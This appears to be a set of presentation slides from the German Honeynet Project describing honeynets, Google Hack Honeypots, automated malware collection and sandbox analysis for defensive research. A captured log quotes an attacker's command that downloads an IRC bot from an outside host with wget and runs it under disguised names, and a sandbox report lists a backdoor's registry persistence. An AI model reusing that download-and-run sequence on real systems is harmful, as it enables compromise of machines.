The German Honeynet Project
A short overview
Thorsten Holz & Markus Koetter
• GenIII honeynets
• Google Hack Honeypots (GHH)
• nepenthes / mwcollect
• Automatic behaviour analysis of malware
• Client-side honeypots
GenIII honeynet

- Honeywall CD-ROM “roo”
- very easy setup - just boot, install, and run
Web worms like Santy.A or Elxbot (Mambo) appeared in 2005

Some of them use search engines like Google to find targets

GHH applies the concept of honeypots to learn more about this threat

Combining GenIII honeypots and GHH

Adding advertizement to honeypots
• Example of logfile output:

PHPSHELL, 01-09-2006 09:47:29 AM, XXX.70.107.165, /shell/phpshell.php, http://www.google.com/search?num=100hl=enlr=ie=UTF8safe=offq=intitle%3A%22PHP+Shell%22+%22Enable+stderr%22+filetype%3AphpbtnG=Search, text/xml application/xml application/xhtml+xml text/html;q=0.9 text/plain;q=0.8 image/png */*; q=0.5, ISO 8859 1 utf 8; q=0.7 *; q=0.7, gzip deflate, de de de; q=0.8 en us; q=0.5 en; q=0.3, keep alive, 300, Mozilla/5.0 &#40;Windows; U; Windows NT 5.2; de; rv:1.8&#41; Gecko/20051111 Firefox/1.5, Known Search Engine: google.com; Target in URL;
Google Hack Honeypot

• Example of logfile output:

PHPSHELL,01-09-2006 09:47:48 AM, XXX.70.107.165, /shell/phpshell.php, http://[REMOVED]/shell/phpshell.php, text/xml application/xml application/xhtml+xml text/html;q=0.9 text/plain;q=0.8 image/png */*;q=0.5, ISO 8859 1 utf 8;q=0.7 *;q=0.7, gzip deflate, de de de; q=0.8 en us;q=0.5 en;q=0.3, keep alive, 300, Mozilla/5.0 &#40;Windows; U; Windows NT 5.2; de; rv:1.8&#41; Gecko/20051111 Firefox/1.5, ls;
Google Hack Honeypot

• Example of logfile output:

PHPSHELL,01-09-2006 11:02:29 AM, XXX.137.186.13, /shell/phpshell.php, http://[REMOVED]/shell/phpshell.php, image/gif image/x xbitmap image/jpeg image/pjpeg application/x shockwave flash application/vnd.ms excel application/vnd.ms.ms powerpoint application/msword */*, ,gzip deflate, en us, Keep Alive,, Mozilla/4.0 & #40;compatible; MSIE 6.0; Windows NT 5.1; SV1& #41;, cd /tmp/.kupdate; wget XXX.home.ro/mech.tar.gz; tar -zxvf mech.tar.gz; rm -rf mech.tar.gz; mv mech netstat; cd netstat; rm -rf mech.set; wget adultzone.home.ro/mech.set; mv mech uptime; chmod +x uptime; PATH=: $PATH; uptime; ps x;
Tools to automatically collect malware that propagates further by scanning for vulnerabilities

- Emulate known vulnerabilities
- Analyze received shellcode
- Downloaded extracted URL
- Automation to high degree possible
- Can also be used to develop a new kind of IDS
- See talk by Rogier Spoor on Surfnet IDS
nepenthes/mwcollect

- Schematical overview of nepenthes
nepenthes/mwcollect

- Large scale deployment with /17 network
- If you have access to larger network, we could test even larger ones :-) 
- More than 60 million successful downloads
- About 13,000 uniques files, based on md5sum
- Results show that signature-based AV engines have problems (detection rate below 100%)
- Upcoming “Know Your Enemy” paper on malware
- Load average & KB/s
• Logged downloads & submissions
• Early-warning system based on nepenthes/mwcollect
Binary Analysis

- How to efficiently analyze the binaries collected by nepenthes/mwcollect?
- Automated runtime binary analysis
  - API hooking to monitor all important API calls
  - Could also be extended to enumerate program execution
- Not a fool-proof solution, but at least helps in analysis process
• Similar project: Norman Sandbox

Automatic Sandbox analysis of W32/Spybot.LWF
[SANDBOX] infected with unknown security risk - W32/Backdoor

[ General information ]
* Locates window "NULL [class mIRC]" on desktop.
* File length: 107520 bytes.

[ Changes to filesystem ]
* Creates file C:\WINDOWS\SYSTEM\patch.exe.
* Deletes file 1.

[ Changes to registry ]
* Creates value "System of security"="patch.exe" in key "HKLM\Software\Microsoft\Windows \CurrentVersion\Run".
* Creates value "System of security"="patch.exe" in key "HKLM\Software\Microsoft\Windows \CurrentVersion\RunServices".

[ Network services ]
* Looks for an Internet connection.
Stopping botnets

• “Know Your Enemy: Tracking Botnets” gives a detailed introduction to botnets

• Combining blocks introduced so far to help stopping botnets

- nepenthes, mwcollect, GHH, GenIII, ...
- Sandbox, API hooking, manually, ...
- IRC client, drone, ...
- DNS, abuse handling, blocking, ...
Client-side honeypot

• More and more exploits against client applications
  • Recent WMF vulnerability
  • iFrame and several other exploits against IE
• Can the concept of honeypots also be applied to learn more about this threat?

• Similar projects
  • honeyclient.org by Kathy Wang
  • Honeymonkeys by Microsoft
Client-side honeypots

Schematical setup
Thorsten Holz
http://www-pi1.informatik.uni-mannheim.de/
thorsten.holz@gmail.com

More information: http://honeyblog.org